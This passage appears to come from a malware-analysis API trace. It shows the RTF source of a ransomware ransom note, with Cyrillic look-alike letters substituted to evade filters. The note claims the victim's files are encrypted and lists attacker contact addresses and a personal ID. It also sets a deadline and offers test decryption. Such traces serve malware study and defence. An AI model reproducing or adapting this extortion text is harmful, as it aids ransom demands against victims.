b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 